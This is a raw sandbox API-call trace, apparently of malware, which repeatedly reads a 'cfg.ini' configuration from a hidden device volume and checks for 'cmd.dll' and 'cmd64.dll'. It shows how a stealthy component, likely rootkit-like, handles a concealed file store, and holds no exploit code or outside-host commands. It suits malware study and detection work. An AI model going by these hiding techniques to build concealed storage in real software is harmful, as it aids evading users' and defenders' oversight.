[0118.352] KeLeaveCriticalRegion () [0118.352] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.352] KeEnterCriticalRegion () [0118.352] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.352] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.352] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.352] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.352] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0118.352] IdePortDispatch () returned 0x103 [0118.352] KeWaitForMutexObject () returned 0x0 [0118.352] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.352] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.352] KeLeaveCriticalRegion () [0118.352] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.352] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.352] KeEnterCriticalRegion () [0118.352] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.353] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002cc0000 [0118.353] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.353] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa80039d6bf0 [0118.353] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80039d6bf0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80039d6bf0) [0118.353] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0118.353] IdePortDispatch () returned 0x103 [0118.353] KeWaitForMutexObject () returned 0x0 [0118.353] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.353] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.353] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa80039d6bf0 [0118.353] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80039d6bf0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80039d6bf0) [0118.353] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0118.353] IdePortDispatch () returned 0x103 [0118.353] KeWaitForMutexObject () returned 0x0 [0118.353] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.353] KeLeaveCriticalRegion () [0118.353] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.354] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.354] KeEnterCriticalRegion () [0118.354] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.354] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0118.354] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.354] KeLeaveCriticalRegion () [0118.354] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.354] KeEnterCriticalRegion () [0118.354] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.354] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0118.354] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80039caf20, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0118.354] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.354] KeLeaveCriticalRegion () [0118.354] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.354] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.354] KeEnterCriticalRegion () [0118.354] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.354] ExFreePoolWithTag (P=0xfffffa80039cae60, Tag=0x0) [0118.354] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.354] KeLeaveCriticalRegion () [0118.354] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.354] ReleaseMutex (hMutex=0xf0) returned 1 [0118.354] Sleep (dwMilliseconds=0x124f80) [0118.370] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0118.370] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0118.370] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.370] KeEnterCriticalRegion () [0118.370] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.370] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.370] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.370] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.370] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0118.370] IdePortDispatch () returned 0x103 [0118.370] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.370] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0118.370] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0118.370] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0118.370] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0118.370] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80039d78b0 [0118.370] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.370] KeLeaveCriticalRegion () [0118.370] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.370] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.370] KeEnterCriticalRegion () [0118.370] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.370] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0118.370] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.370] KeLeaveCriticalRegion () [0118.370] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.370] KeEnterCriticalRegion () [0118.370] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.370] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.370] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.370] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.371] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0118.371] IdePortDispatch () returned 0x103 [0118.371] KeWaitForMutexObject () returned 0x0 [0118.371] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.371] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.371] KeLeaveCriticalRegion () [0118.371] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.371] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.371] KeEnterCriticalRegion () [0118.371] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.371] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002cc5000 [0118.371] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.371] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa80039d6bf0 [0118.371] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80039d6bf0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80039d6bf0) [0118.371] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0118.371] IdePortDispatch () returned 0x103 [0118.371] KeWaitForMutexObject () returned 0x0 [0118.371] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.371] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.371] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa80039d6bf0 [0118.371] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80039d6bf0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80039d6bf0) [0118.371] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0118.371] IdePortDispatch () returned 0x103 [0118.372] KeWaitForMutexObject () returned 0x0 [0118.372] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.372] KeLeaveCriticalRegion () [0118.372] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.372] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.372] KeEnterCriticalRegion () [0118.372] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.372] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0118.372] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.372] KeLeaveCriticalRegion () [0118.372] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.372] KeEnterCriticalRegion () [0118.372] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.372] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0118.372] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80039d7a10, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0118.372] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.372] KeLeaveCriticalRegion () [0118.372] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.372] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.372] KeEnterCriticalRegion () [0118.372] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.372] ExFreePoolWithTag (P=0xfffffa80039d78b0, Tag=0x0) [0118.372] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.372] KeLeaveCriticalRegion () [0118.372] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.372] ReleaseMutex (hMutex=0xf0) returned 1 [0118.373] Sleep (dwMilliseconds=0x124f80) [0118.386] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0118.386] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0118.386] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.386] KeEnterCriticalRegion () [0118.386] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.386] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.386] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.386] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.386] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0118.386] IdePortDispatch () returned 0x103 [0118.387] KeWaitForMutexObject () returned 0x0 [0118.387] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.387] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0118.387] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0118.387] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0118.387] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0118.387] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80039c8060 [0118.387] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.387] KeLeaveCriticalRegion () [0118.387] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.387] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.387] KeEnterCriticalRegion () [0118.387] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.387] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0118.387] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.387] KeLeaveCriticalRegion () [0118.387] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.387] KeEnterCriticalRegion () [0118.387] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.387] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.387] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.387] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.387] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0118.387] IdePortDispatch () returned 0x103 [0118.388] KeWaitForMutexObject () returned 0x0 [0118.388] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.388] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.388] KeLeaveCriticalRegion () [0118.388] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.388] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.388] KeEnterCriticalRegion () [0118.388] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.388] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002cca000 [0118.388] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.388] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa80039d6bf0 [0118.388] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80039d6bf0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80039d6bf0) [0118.388] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0118.388] IdePortDispatch () returned 0x103 [0118.388] KeWaitForMutexObject () returned 0x0 [0118.388] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.388] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.388] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa80039d6bf0 [0118.388] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80039d6bf0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80039d6bf0) [0118.388] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0118.388] IdePortDispatch () returned 0x103 [0118.389] KeWaitForMutexObject () returned 0x0 [0118.389] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.389] KeLeaveCriticalRegion () [0118.389] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.389] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.389] KeEnterCriticalRegion () [0118.389] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.389] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0118.389] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.389] KeLeaveCriticalRegion () [0118.389] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.389] KeEnterCriticalRegion () [0118.389] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.389] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0118.389] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80039d7a10, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0118.389] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.389] KeLeaveCriticalRegion () [0118.389] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.390] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.390] KeEnterCriticalRegion () [0118.390] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.390] ExFreePoolWithTag (P=0xfffffa80039c8060, Tag=0x0) [0118.390] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.390] KeLeaveCriticalRegion () [0118.390] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.390] ReleaseMutex (hMutex=0xf0) returned 1 [0118.390] Sleep (dwMilliseconds=0x124f80) [0118.404] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0118.404] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0118.404] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.405] KeEnterCriticalRegion () [0118.405] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.405] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.405] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.405] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.405] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0118.405] IdePortDispatch () returned 0x103 [0118.405] KeWaitForMutexObject () returned 0x0 [0118.405] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.405] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0118.405] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0118.405] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0118.405] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0118.405] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80039c83f0 [0118.405] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.405] KeLeaveCriticalRegion () [0118.405] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.405] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.405] KeEnterCriticalRegion () [0118.405] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.405] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0118.405] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.405] KeLeaveCriticalRegion () [0118.405] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.405] KeEnterCriticalRegion () [0118.405] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.405] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.405] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.405] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.405] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0118.405] IdePortDispatch () returned 0x103 [0118.406] KeWaitForMutexObject () returned 0x0 [0118.406] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.406] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.406] KeLeaveCriticalRegion () [0118.406] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.406] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.406] KeEnterCriticalRegion () [0118.406] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.406] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002ccf000 [0118.406] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.406] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa80039d6bf0 [0118.406] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80039d6bf0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80039d6bf0) [0118.406] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0118.406] IdePortDispatch () returned 0x103 [0118.406] KeWaitForMutexObject () returned 0x0 [0118.406] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.406] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.406] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: 